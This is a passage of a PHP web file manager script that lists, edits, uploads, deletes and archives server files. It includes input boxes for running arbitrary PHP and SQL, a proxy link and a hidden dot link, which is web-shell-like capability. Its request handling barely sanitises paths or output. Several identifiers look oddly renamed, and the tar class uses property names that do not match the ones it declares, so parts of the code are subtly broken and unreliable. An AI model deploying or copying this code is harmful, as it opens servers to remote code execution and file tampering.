                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 $msg_now .= __('Deleted').' '.$_REQUEST['delete'];

		        }

	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fmo_config['make_directory'])) {

                                                if(!@mkdir($path . $_REQUEST['dirname'],0777)) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 $msg_now .= __('Created').' '.$_REQUEST['dirname'];

		        }

                        } elseif(!empty($_POST['search_recursive'])) {

		        ini_set('max_execution_time', '0');

		        $search_data =  find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		        if(!empty($search_data)) {

                                 $msg_now .= __('Found in files').' ('.count($search_data).'):<br>';

                                 foreach ($search_data as $filename) {

                                 	$msg_now .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

                                 }

		        } else {

                                 $msg_now .= __('Nothing founded');

		        }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fmo_config['new_file'])) {

                                                if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 fclose($fp);

                                 $msg_now .= __('Created').' '.$_REQUEST['filename'];

		        }

                        } elseif (isset($_GET['zip'])) {

		        $source = base64_decode($_GET['zip']);

		        $destination = basename($source).'.zip';

		        set_time_limit(0);

		        $phar = new PharData($destination);

		        $phar->buildFromDirectory($source);

		        if (is_file($destination))

		        $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		        '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		        .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		        else $msg_now .= __('Error occurred').': '.__('no files');

	} elseif (isset($_GET['gz'])) {

		        $source = base64_decode($_GET['gz']);

		        $archive = $source.'.tar';

		        $destination = basename($source).'.tar';

		        if (is_file($archive)) unlink($archive);

		        if (is_file($archive.'.gz')) unlink($archive.'.gz');

		        clearstatcache();

		        set_time_limit(0);

		        //die();

		        $phar = new PharData($destination);

		        $phar->buildFromDirectory($source);

		        $phar->compress(Phar::GZ,'.tar.gz');

		        unset($phar);

		        if (is_file($archive)) {

                                 if (is_file($archive.'.gz')) {

                                 	unlink($archive); 

                                 	$destination .= '.gz';

                                 }


                                 $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

                                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

                                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		        } else $msg_now .= __('Error occurred').': '.__('no files');

	} elseif (isset($_GET['decompress'])) {

		        // $source = base64_decode($_GET['decompress']);

		        // $destination = basename($source);

		        // $ext = end(explode(".", $destination));

		        // if ($ext=='zip' OR $ext=='gz') {

                                 // $phar = new PharData($source);

                                 // $phar->decompress();

                                 // $base_file = str_replace('.'.$ext,'',$destination);

                                 // $ext = end(explode(".", $base_file));

                                 // if ($ext=='tar'){

                                 	// $phar = new PharData($base_file);

                                 	// $phar->extractTo(dir($source));

                                 // }

		        // } 

		        // $msg_now .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		        $source = base64_decode($_GET['gzfile']);

		        $archive = $source.'.tar';

		        $destination = basename($source).'.tar';

		        if (is_file($archive)) unlink($archive);

		        if (is_file($archive.'.gz')) unlink($archive.'.gz');

		        set_time_limit(0);

		        //echo $destination;

		        $ext_arr = explode('.',basename($source));

		        if (isset($ext_arr[1])) {

                                 unset($ext_arr[0]);

                                 $ext=implode('.',$ext_arr);

		        } 

		        $phar = new PharData($destination);

		        $phar->addFile($source);

		        $phar->compress(Phar::GZ,$ext.'.tar.gz');

		        unset($phar);

		        if (is_file($archive)) {

                                 if (is_file($archive.'.gz')) {

                                 	unlink($archive); 

                                 	$destination .= '.gz';

                                 }

                                 $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

                                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

                                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		        } else $msg_now .= __('Error occurred').': '.__('no files');

	}

?>
<table class="whole" id="header_table" >

<tr>

                        <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>

</tr>

          <?php if(!empty($msg_now)){ ?>
<tr>

	<td colspan="2" class="row2"><?=$msg_now?></td>

</tr>

<?php } ?>
<tr>

                        <td class="row2">

		        <table>

                                 <tr>

                                 <td>

                                 	<?=fm_home()?>

                                 </td>

                                 <td>

                                 <?php if(!empty($fmo_config['make_directory'])) { ?>

                                 	<form method="post" action="<?=$url_inc?>">

                                 	<input type="hidden" name="path" value="<?=$path?>" />

                                 	<input type="text" name="dirname" size="15">

                                 	<input type="submit" name="mkdir" value="<?=__('Make directory')?>">

                                 	</form>

                                 <?php } ?>

                                 </td>

                                 <td>

                                 <?php if(!empty($fmo_config['new_file'])) { ?>

                                 	<form method="post" action="<?=$url_inc?>">

                                 	<input type="hidden" name="path"                         value="<?=$path?>" />

                                 	<input type="text"   name="filename" size="15">

                                 	<input type="submit" name="mkfile"   value="<?=__('New file')?>">

                                 	</form>

                                 <?php } ?>

                                 </td>

                                 <td>

                                 	<form  method="post" action="<?=$url_inc?>" style="display:inline">

                                 	<input type="hidden" name="path" value="<?=$path?>" />

                                 	<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">

                                 	<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">

                                 	<input type="submit" name="search" value="<?=__('Search')?>">

                                 	</form>

                                 </td>

                                 <td>

                                 <?=fm_run_input('php')?>

                                 </td>

                                 <td>

                                 <?=fm_run_input('sql')?>

                                 </td>

                                 </tr>

		        </table>

                        </td>

                        <td class="row3">

		        <table>

		        <tr>

		        <td>

		        <?php if (!empty($fmo_config['upload_file'])) { ?>

                                 <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">

                                 <input type="hidden" name="path" value="<?=$path?>" />

                                 <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

                                 <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />

                                 <input type="submit" name="test" value="<?=__('Upload')?>" />

                                 </form>

		        <?php } ?>

		        </td>

		        <td>

		        <?php if ($auth_mydevice['authorize']) { ?>

                                 <form action="" method="post">&nbsp;&nbsp;&nbsp;

                                 <input name="quit" type="hidden" value="1">

                                 <?=__('Hello')?>, <?=$auth_mydevice['login']?>

                                 <input type="submit" value="<?=__('Quit')?>">

                                 </form>

		        <?php } ?>

		        </td>

		        <td>

		        <?=fm_lang_form($language_benros)?>

		        </td>

		        <tr>

		        </table>

                        </td>

</tr>

</table>

<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">

<thead>

<tr> 

                        <th style="white-space:nowrap"> <?=__('Filename')?> </th>

                        <th style="white-space:nowrap"> <?=__('Size')?> </th>

                        <th style="white-space:nowrap"> <?=__('Date')?> </th>

                        <th style="white-space:nowrap"> <?=__('Rights')?> </th>

                        <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>

</tr>

</thead>

<tbody>

<?php
$elements = fm_scan_dir($path, '', 'all', true);

$dirs = array();

$file_entries = array();

foreach ($elements as $file){

                        if(@is_dir($path . $file)){

                                                $dirs[] = $file;

                        } else {

                                                $file_entries[] = $file;

                        }

}

natsort($dirs); natsort($file_entries);

$elements = array_merge($dirs, $file_entries);


foreach ($elements as $file){

                        $filename = $path . $file;

                        $filedata = @stat($filename);

                        if(@is_dir($filename)){

		        $filedata[7] = '';

		        if (!empty($fmo_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);

                                                $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

                                                $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);

		        $arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);

                                                $style = 'row2';

		         if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';

                        } else {

		        $link = 

                                 $fmo_config['show_img']&&@getimagesize($filename) 

                                 ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''

                                 . fm_img_link($filename)

                                 .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'

                                 : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

		        $e_arr = explode(".", $file);

		        $ext = end($e_arr);

                                                $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);

		        $arlink = in_array($ext,array('zip','gz','tar')) 

		        ? ''

		        : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));

                                                $style = 'row1';

		        $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';

                        }

                        $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

                        $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';

                        $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';

?>
<tr class="<?=$style?>"> 

                        <td><?=$link?></td>

                        <td><?=$filedata[7]?></td>

                        <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>

                        <td><?=$rightstext?></td>

                        <td><?=$deletelink?></td>

                        <td><?=$renamelink?></td>

                        <td><?=$loadlink?></td>

                        <td><?=$arlink?></td>

</tr>

<?php
                        }

}

?>
</tbody>

</table>

<div class="row3"><?php

	$mtime = explode(' ', microtime()); 

	$totaltime = $mtime[0] + $mtime[1] - $startororimy; 

	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';

	if (!empty($fmo_config['show_php_ver'])) echo ' | PHP '.phpversion();

	if (!empty($fmo_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();

	if (!empty($fmo_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);

	if (!empty($fmo_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';

	if (!empty($fmo_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';

	if (!empty($fmo_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';

	if (!empty($fmo_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';

	?>

</div>

<script type="text/javascript">

function download_xls(filename, text) {

	var element = document.createElement('a');

	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);

	element.setAttribute('download', filename);

	element.style.display = 'none';

	document.body.appendChild(element);

	element.click();

	document.body.removeChild(element);

}


function base64_encode(m) {

	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {

		        c = m.charCodeAt(l);

		        if (128 > c) d = 1;

		        else

                                 for (d = 2; c >= 2 << 5 * d;) ++d;

		        for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])

	}

	b && (g += k[f << 6 - b]);

	return g

}



var tableToExcelData = (function() {

                        var uri = 'data:application/vnd.ms-excel;base64,',

                        template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',

                        format = function(s, c) {

                                                                        return s.replace(/{(\w+)}/g, function(m, p) {

                                                                                                return c[p];

                                                                        })

                                                }

                        return function(table, name) {

                                                if (!table.nodeType) table = document.getElementById(table)

                                                var ctx = {

                                                                        worksheet: name || 'Worksheet',

                                                                        table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")

                                                }

		        t = new Date();

		        filename = 'fm_' + t.toISOString() + '.xls'

		        download_xls(filename, base64_encode(format(template, ctx)))

                        }

})();


var table2Excel = function () {


                        var ua = window.navigator.userAgent;

                        var msie = ua.indexOf("MSIE ");


	this.CreateExcelSheet = 

		        function(el, name){

                                 if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer


                                 	var x = document.getElementById(el).rows;


                                 	var xls = new ActiveXObject("Excel.Application");


                                 	xls.visible = true;

                                 	xls.Workbooks.Add

                                 	for (i = 0; i < x.length; i++) {

                                 		        var y = x[i].cells;


                                 		        for (j = 0; j < y.length; j++) {

                                                                  xls.Cells(i + 1, j + 1).Value = y[j].innerText;

                                 		        }

                                 	}

                                 	xls.Visible = true;

                                 	xls.UserControl = true;

                                 	return xls;

                                 } else {

                                 	tableToExcelData(el, name);

                                 }

		        }

}

</script>

</body>

</html>


<?php
//Ported from ReloadCMS project http://reloadcms.com

class archiveTar {

	var $compressed_file_archive = '';

	var $temp_file_handler = 0;

	var $file_position_pointer = 0;

	var $gzip_compression_status = true;

	var $list_of_errors = array();

	var $file_entries = array();

	
	function __construct(){

		        if (!isset($this->errors)) $this->errors = array();

	}

	
	function buildCompressedArchive($file_list){

		        $result = false;

		        if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;

		        else $newArchive = true;

		        if ($newArchive){

                                 if (!$this->initializeWriteOperation()) return false;

		        } else {

                                 if (filesize($this->archive_name) == 0)	return $this->initializeWriteOperation();

                                 if ($this->isGzipped) {

                                 	$this->finalizeTempFileHandler();

                                 	if (!rename($this->archive_name, $this->archive_name.'.tmp')){

                                 		        $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';

                                 		        return false;

                                 	}

                                 	$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');

                                 	if (!$tmpArchive){

                                 		        $this->errors[] = $this->archive_name.'.tmp '.__('is not readable');

                                 		        rename($this->archive_name.'.tmp', $this->archive_name);

                                 		        return false;

                                 	}

                                 	if (!$this->initializeWriteOperation()){

                                 		        rename($this->archive_name.'.tmp', $this->archive_name);

                                 		        return false;

                                 	}

                                 	$buffer = gzread($tmpArchive, 512);

                                 	if (!gzeof($tmpArchive)){

                                 		        do {

                                                                  $binaryData = pack('a512', $buffer);

                                                                  $this->writeBlockToData($binaryData);

                                                                  $buffer = gzread($tmpArchive, 512);

                                 		        }

                                 		        while (!gzeof($tmpArchive));

                                 	}

                                 	gzclose($tmpArchive);

                                 	unlink($this->archive_name.'.tmp');

                                 } else {

                                 	$this->tmp_file = fopen($this->archive_name, 'r+b');

                                 	if (!$this->tmp_file)	return false;

                                 }

		        }

		        if (isset($file_list) && is_array($file_list)) {

		        if (count($file_list)>0)

                                 $result = $this->packFilesIntoArchive($file_list);

		        } else $this->errors[] = __('No file').__(' to ').__('Archive');

		        if (($result)&&(is_resource($this->tmp_file))){

                                 $binaryData = pack('a512', '');

                                 $this->writeBlockToData($binaryData);

		        }

		        $this->finalizeTempFileHandler();

		        if ($newArchive && !$result){

		        $this->finalizeTempFileHandler();

		        unlink($this->archive_name);

		        }

		        return $result;

	}


	function unpackCompressedArchive($path){

		        $fileName = $this->archive_name;

		        if (!$this->isGzipped){

                                 if (file_exists($fileName)){

                                 	if ($fp = fopen($fileName, 'rb')){

                                 		        $data = fread($fp, 2);

                                 		        fclose($fp);

                                 		        if ($data == '\37\213'){

                                                                  $this->isGzipped = true;

                                 		        }

                                 	}

                                 }

                                 elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;

		        } 

		        $result = true;

		        if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');

		        else $this->tmp_file = fopen($fileName, 'rb');

		        if (!$this->tmp_file){

                                 $this->errors[] = $fileName.' '.__('is not readable');

                                 return false;

		        }

		        $result = $this->unpackFilesIntoArchive($path);

                                 $this->finalizeTempFileHandler();

		        return $result;

	}


	function displayAllErrors	($message = '') {

		        $Errors = $this->errors;

		        if(count($Errors)>0) {

		        if (!empty($message)) $message = ' ('.$message.')';

                                 $message = __('Error occurred').$message.': <br/>';

                                 foreach ($Errors as $value)

                                 	$message .= $value.'<br/>';

                                 return $message;	

		        } else return '';

		        
	}

	
	function packFilesIntoArchive($file_array){

		        $result = true;

		        if (!$this->tmp_file){

                                 $this->errors[] = __('Invalid file descriptor');

                                 return false;

		        }

		        if (!is_array($file_array) || count($file_array)<=0)

                                                  return true;

		        for ($i = 0; $i<count($file_array); $i++){

                                 $filename = $file_array[$i];

                                 if ($filename == $this->archive_name)

                                 	continue;

                                 if (strlen($filename)<=0)

                                 	continue;

                                 if (!file_exists($filename)){

                                 	$this->errors[] = __('No file').' '.$filename;

                                 	continue;

                                 }

                                 if (!$this->tmp_file){

                                 $this->errors[] = __('Invalid file descriptor');

                                 return false;

                                 }

		        if (strlen($filename)<=0){

                                 $this->errors[] = __('Filename').' '.__('is incorrect');;

                                 return false;

		        }

		        $filename = str_replace('\\', '/', $filename);

		        $keep_filename = $this->createValidFilePath($filename);

		        if (is_file($filename)){

                                 if (($file = fopen($filename, 'rb')) == 0){

                                 	$this->errors[] = __('Mode ').__('is incorrect');

                                 }

                                 	if(($this->file_pos == 0)){

                                 		        if(!$this->writeHeaderToArchive($filename, $keep_filename))

                                                                  return false;

                                 	}

                                 	while (($buffer = fread($file, 512)) != ''){

                                 		        $binaryData = pack('a512', $buffer);

                                 		        $this->writeBlockToData($binaryData);

                                 	}

                                 fclose($file);

		        }	else $this->writeHeaderToArchive($filename, $keep_filename);

                                 if (@is_dir($filename)){

                                 	if (!($handle = opendir($filename))){

                                 		        $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');

                                 		        continue;

                                 	}

                                 	while (false !== ($dir = readdir($handle))){

                                 		        if ($dir!='.' && $dir!='..'){

                                                                  $file_array_tmp = array();

                                                                  if ($filename != '.')

                                                                  	$file_array_tmp[] = $filename.'/'.$dir;

                                                                  else

                                                                  	$file_array_tmp[] = $dir;


                                                                  $result = $this->packFilesIntoArchive($file_array_tmp);

                                 		        }

                                 	}

                                 	unset($file_array_tmp);

                                 	unset($dir);

                                 	unset($handle);

                                 }

		        }

		        return $result;

	}


	function unpackFilesIntoArchive($path){ 

		        $path = str_replace('\\', '/', $path);

		        if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;

		        clearstatcache();

		        while (strlen($binaryData = $this->readBlockFromData()) != 0){

                                 if (!$this->extractHeaderInformation($binaryData, $header)) return false;

                                 if ($header['filename'] == '') continue;

                                 if ($header['typeflag'] == 'L'){                                 //reading long header

                                 	$filename = '';

                                 	$decr = floor($header['size']/512);

                                 	for ($i = 0; $i < $decr; $i++){

                                 		        $content = $this->readBlockFromData();

                                 		        $filename .= $content;

                                 	}

                                 	if (($laspiece = $header['size'] % 512) != 0){

                                 		        $content = $this->readBlockFromData();

                                 		        $filename .= substr($content, 0, $laspiece);

                                 	}

                                 	$binaryData = $this->readBlockFromData();

                                 	if (!$this->extractHeaderInformation($binaryData, $header)) return false;

                                 	else $header['filename'] = $filename;

                                 	return true;

                                 }

                                 if (($path != './') && ($path != '/')){

                                 	while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);

                                 	if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];

                                 	else $header['filename'] = $path.'/'.$header['filename'];

                                 }

                                 
                                 if (file_exists($header['filename'])){

                                 	if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){

                                 		        $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');

                                 		        return false;

                                 	}

                                 	if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){

                                 		        $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');

                                 		        return false;

                                 	}

                                 	if (!is_writeable($header['filename'])){

                                 		        $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');

                                 		        return false;

                                 	}

                                 } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){

                                 	$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];

                                 	return false;

                                 }


                                 if ($header['typeflag'] == '5'){

                                 	if (!file_exists($header['filename']))		        {

                                 		        if (!mkdir($header['filename'], 0777))	{

                                                                  
                                                                  $this->errors[] = __('Cannot create directory').' '.$header['filename'];

                                                                  return false;

                                 		        } 

                                 	}

                                 } else {

                                 	if (($destination = fopen($header['filename'], 'wb')) == 0) {

                                 		        $this->errors[] = __('Cannot write to file').' '.$header['filename'];

                                 		        return false;

                                 	} else {

                                 		        $decr = floor($header['size']/512);

                                 		        for ($i = 0; $i < $decr; $i++) {

                                                                  $content = $this->readBlockFromData();

                                                                  fwrite($destination, $content, 512);

                                 		        }

                                 		        if (($header['size'] % 512) != 0) {

                                                                  $content = $this->readBlockFromData();

                                                                  fwrite($destination, $content, ($header['size'] % 512));

                                 		        }

                                 		        fclose($destination);

                                 		        touch($header['filename'], $header['time']);

                                 	}

                                 	clearstatcache();

                                 	if (filesize($header['filename']) != $header['size']) {

                                 		        $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');

                                 		        return false;

                                 	}

                                 }

                                 if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';

                                 if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';

                                 $this->dirs[] = $file_dir;

                                 $this->files[] = $header['filename'];

	
		        }

		        return true;

	}


	function dirCheck($dir){

		        $parent_dir = dirname($dir);


		        if ((@is_dir($dir)) or ($dir == ''))

                                 return true;


		        if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))

                                 return false;


		        if (!mkdir($dir, 0777)){

                                 $this->errors[] = __('Cannot create directory').' '.$dir;

                                 return false;

		        }

		        return true;

	}


	function extractHeaderInformation($binaryData, &$header){

		        if (strlen($binaryData)==0){

                                 $header['filename'] = '';

                                 return true;

		        }


		        if (strlen($binaryData) != 512){

                                 $header['filename'] = '';

                                 $this->__('Invalid block size').': '.strlen($binaryData);

                                 return false;

		        }


		        $checksum = 0;

		        for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		        for ($i = 148; $i < 156; $i++) $checksum += ord(' ');

		        for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));


		        $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);


		        $header['checksum'] = OctDec(trim($unpack_data['checksum']));

		        if ($header['checksum'] != $checksum){

                                 $header['filename'] = '';

                                 if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;

                                 $this->errors[] = __('Error checksum for file ').$unpack_data['filename'];

                                 return false;

		        }


		        if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;

		        $header['filename'] = trim($unpack_data['filename']);

		        $header['mode'] = OctDec(trim($unpack_data['mode']));

		        $header['user_id'] = OctDec(trim($unpack_data['user_id']));

		        $header['group_id'] = OctDec(trim($unpack_data['group_id']));

		        $header['size'] = OctDec(trim($unpack_data['size']));

		        $header['time'] = OctDec(trim($unpack_data['time']));

		        return true;

	}


	function writeHeaderToArchive($filename, $keep_filename){

		        $packF = 'a100a8a8a8a12A12';

		        $packL = 'a1a100a6a2a32a32a8a8a155a12';

		        if (strlen($keep_filename)<=0) $keep_filename = $filename;

		        $filename_ready = $this->createValidFilePath($keep_filename);


		        if (strlen($filename_ready) > 99){                                                                  	//write long header

		        $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);

		        $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');


                                                //  Calculate the checksum

		        $checksum = 0;

                                                //  First part of the header

		        for ($i = 0; $i < 148; $i++)

                                 $checksum += ord(substr($dataFirst, $i, 1));

                                                //  Ignore the checksum value and replace it by ' ' (space)

		        for ($i = 148; $i < 156; $i++)

                                 $checksum += ord(' ');

                                                //  Last part of the header

		        for ($i = 156, $j=0; $i < 512; $i++, $j++)

                                 $checksum += ord(substr($dataLast, $j, 1));

                                                //  Write the first 148 bytes of the header in the archive

		        $this->writeBlockToData($dataFirst, 148);

                                                //  Write the calculated checksum

		        $checksum = sprintf('%6s ', DecOct($checksum));

		        $binaryData = pack('a8', $checksum);

		        $this->writeBlockToData($binaryData, 8);

                                                //  Write the last 356 bytes of the header in the archive

		        $this->writeBlockToData($dataLast, 356);


		        $temp_file_handlername = $this->createValidFilePath($filename_ready);


		        $i = 0;

                                 while (($buffer = substr($temp_file_handlername, (($i++)*512), 512)) != ''){

                                 	$binaryData = pack('a512', $buffer);

                                 	$this->writeBlockToData($binaryData);

                                 }

		        return true;

		        }

		        $file_info = stat($filename);

		        if (@is_dir($filename)){

                                 $typeflag = '5';

                                 $size = sprintf('%11s ', DecOct(0));

		        } else {

                                 $typeflag = '';

                                 clearstatcache();

                                 $size = sprintf('%11s ', DecOct(filesize($filename)));

		        }

		        $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));

		        $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');

		        $checksum = 0;

		        for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));

		        for ($i = 148; $i < 156; $i++) $checksum += ord(' ');

		        for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));

		        $this->writeBlockToData($dataFirst, 148);

		        $checksum = sprintf('%6s ', DecOct($checksum));

		        $binaryData = pack('a8', $checksum);

		        $this->writeBlockToData($binaryData, 8);

		        $this->writeBlockToData($dataLast, 356);

		        return true;

	}


	function initializeWriteOperation(){

		        if ($this->isGzipped)

                                 $this->tmp_file = gzopen($this->archive_name, 'wb9f');

		        else

                                 $this->tmp_file = fopen($this->archive_name, 'wb');


		        if (!($this->tmp_file)){

                                 $this->errors[] = __('Cannot write to file').' '.$this->archive_name;

                                 return false;

		        }

		        return true;

	}


	function readBlockFromData(){

		        if (is_resource($this->tmp_file)){

                                 if ($this->isGzipped)

                                 	$block = gzread($this->tmp_file, 512);

                                 else

                                 	$block = fread($this->tmp_file, 512);

		        } else	$block = '';


		        return $block;

	}


	function writeBlockToData($data, $length = 0){

		        if (is_resource($this->tmp_file)){

		        
                                 if ($length === 0){

                                 	if ($this->isGzipped)

                                 		        gzputs($this->tmp_file, $data);

                                 	else

                                 		        fputs($this->tmp_file, $data);

                                 } else {

                                 	if ($this->isGzipped)

                                 		        gzputs($this->tmp_file, $data, $length);

                                 	else

                                 		        fputs($this->tmp_file, $data, $length);

                                 }

		        }

	}


	function finalizeTempFileHandler(){

		        if (is_resource($this->tmp_file)){

